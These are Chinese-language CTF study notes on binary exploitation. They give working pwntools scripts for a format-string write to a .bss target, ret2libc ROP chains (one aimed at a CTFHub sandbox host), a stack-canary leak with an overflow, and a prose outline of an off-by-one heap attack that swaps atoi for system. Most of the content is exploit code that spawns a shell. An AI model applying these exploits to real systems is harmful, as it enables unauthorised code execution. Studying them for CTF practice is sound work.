从0到1:CTFer成长之路-PWN篇
72217_格式化字符串不在栈上的利用方式
格式化字符串不在栈上的利用方式, 参数在 .bss 段,不在栈上
条件: 需要多次可输入参数
void vuln()
{
while ( strcmp(chr, "bye") )
{
gets(chr);
printf(chr);
}
}
- 在栈上找到一个利用链 p1->p2->p3, p2,p3都在栈上.另一个指针 p4-> target(目标地址)
- 通过p1 修改 p2 低地址指向 p3
- 通过p2 修改 p3 值, 使其指向p4
- 通过p3 修改 p4 值 即构造出 p1 -> p2 -> p3 -> p4
"""
|0a:0050│ 0x7ffe9b362c80 —▸ 0x4005d0 (_start) ◂— xor ebp, ebp
│13:0098│ 0x7ffe9b362cc8 —▸ 0x7ffe9b362d38 —▸ 0x7ffe9b362c82 ◂— 0x2d20000000000040 /* '@'
│pwndbg> fmtarg 0x7ffe9b362cc8
│The index of format argument : 25 ("\%24$p")
pwndbg> fmtarg 0x7ffe9b362c80
The index of format argument : 16 ("\%15$p")
pwndbg> fmtarg 0x7ffe9b362d38
The index of format argument : 39 ("\%38$p")
0x7ffe9b362d38 - 0x7ffe9b362c80 = 0xb8
"""
from pwn import *
s = process('demo')
value = 0xDEADBEEF12345678
payload = "%25$p"
# offset 25
# offset 16
# offset 39
# gdb.attach(s, "b *0x4006e5\n\c\n")
# gdb.attach(s, "b *0x04006FE\n\c\n")
s.sendline(payload)
stack = int(s.recv(14), 16)
success(hex(stack))
pie = stack - 0xb8
pie += 2
print('pie ', hex(pie))
payload = "%" + str(pie & 0xffff) + "c%25$hn"
print('payload, ', payload)
s.sendline(payload)
secret1 = 0x601080 # .bss段中固定地址
secret2 = secret1 // 0x10000
payload = "%" + str(secret2 & 0xffff) + "c%39$hn"
s.sendline(payload)
pie -= 2
payload = "%" + str(pie & 0xffff) + "c%25$hn"
s.sendline(payload)
for i in range(4):
payload = "%" + str(secret1 & 0xffff) + "c%39$hn"
s.sendline(payload)
payload = "%" + str(value & 0xffff) + "c%16$hn"
s.sendline(payload)
secret1 += 2
value //= 0x10000
s.sendline('bye')
s.interactive()
72218_其他常见漏洞
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
s = process('./test')
elf = ELF("./test")
pop_rdi = 0x04006d3 #
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']
lst = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10,
'+',
'9', # 任意数
pop_rdi,
puts_got,
puts_plt,
main,
17, 18, 19]
for l in lst:
s.sendline(str(l))
s.recvline()
puts = u64(s.recv(6).ljust(8, b'\x00'))
success(hex(puts))
libc = ELF("./libc-2.23.so")
offset = puts - libc.sym["puts"]
system = libc.sym["system"] + offset
sh = next(libc.search(b"/bin/sh")) + offset
lst = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10,
'+',
'9', # 任意数
pop_rdi,
sh,
system,
main,
17, 18, 19]
for l in lst:
s.sendline(str(l))
s.interactive()
基础记录
CTFHUB-栈溢出-ret2libc
附件和远程的libc不同。
远程是 libc6_2.23-0ubuntu11.3_amd64
本地是 libc6_2.23-0ubuntu11.2_amd64
# ctfhub ret2libc
from pwn import *
context.arch = 'amd64'
io = remote('challenge-13106b67e4ff008a.sandbox.ctfhub.com', '29200')
e = ELF('ret2libc')
main_addr = e.symbols['main']
puts_plt = e.symbols["puts"]
puts_got = e.got["puts"]
pop_rdi_ret = 0x0400703
junk = 'a' * (144 + 8)
payload = flat(junk, pop_rdi_ret, puts_got, puts_plt, main_addr)
io.sendlineafter(" ctfhub", payload)
puts_addr = io.recvuntil(b'\x7f')[-6:]
puts_addr = unpack(puts_addr.ljust(8, b'\x00')) # 地址是6bytes, 补到8位unpack
success(hex(puts_addr))
libc = ELF('./libc.so')
libc.address = puts_addr - libc.sym["puts"]
system = libc.sym["system"]
bin_sh = libc.address + 0x18ce57
success(hex(bin_sh))
ret = 0x00004004c9
payload = flat(junk, ret, pop_rdi_ret, bin_sh, system) # ubuntu64需要栈对齐, 加个ret
io.sendlineafter(" ctfhub", payload)
io.sendline(payload)
io.interactive()
CTFHUB-栈溢出-Leak canary
from pwn import *
context(os='linux', arch='i386', log_level='debug')
sh = remote('challenge-28d068247472f82b.sandbox.ctfhub.com','24123')
offset_fms = 31 # 格式化字符串的偏移量
offset_sta = 100 # 栈溢出覆盖返回地址的偏移量,计算方法和上面一个相同
p = '%' + str(offset_fms) + '$' + 'p'
print(p)
sh.sendafter('someting:', p)
sh.recvuntil('0x')
canary = int(sh.recv(8), 16)
print('canary = ' + hex(canary))
getshell = ELF('pwn').sym['shell']
exp = flat(
'A' * offset_sta, # padding
canary, 'A' * 8, # canary , 填充数可以ida看栈,也可以gdb断下这里看 esp 位置,需要填充多少
'A' * 4, # caller's $ebp
getshell) # ret addr
sh.send(exp)
sh.recv()
sh.interactive()
堆学习
OffByOne
offbyone, 申请多块空间,通过1字节溢出覆盖 size大小为0x41。这时索引1的chunk size变为0x41。覆盖前后变化如下。
申请堆时有结构体,每个nodelist 申请2个堆,一个存放content指针,一个存储content。
这里free出现2个chunk。0x20的head和0x40的content。
fastbin
0x20: 0x2316060 ◂— 0x0
0x40: 0x2316040 ◂— 0x0
再次申请时给2个块。
第一块 head 0x20 分配为 0x2316060(因为它大小为0x20,申请也是0x20)。head对应的ptr->content指针在 head + 0x18的位置。
第二块 content 0x40 分配为 0x2316040。这里是可以修改上面head中的指针的。从而造时任意读取。leak出libc。
然后再通过edit功能可编辑 ptr -> content造成任意写。system写入atoi.手动输入/bin/sh 完成getshell。
调用atoi(buf)时即可完成 system("/bin/sh")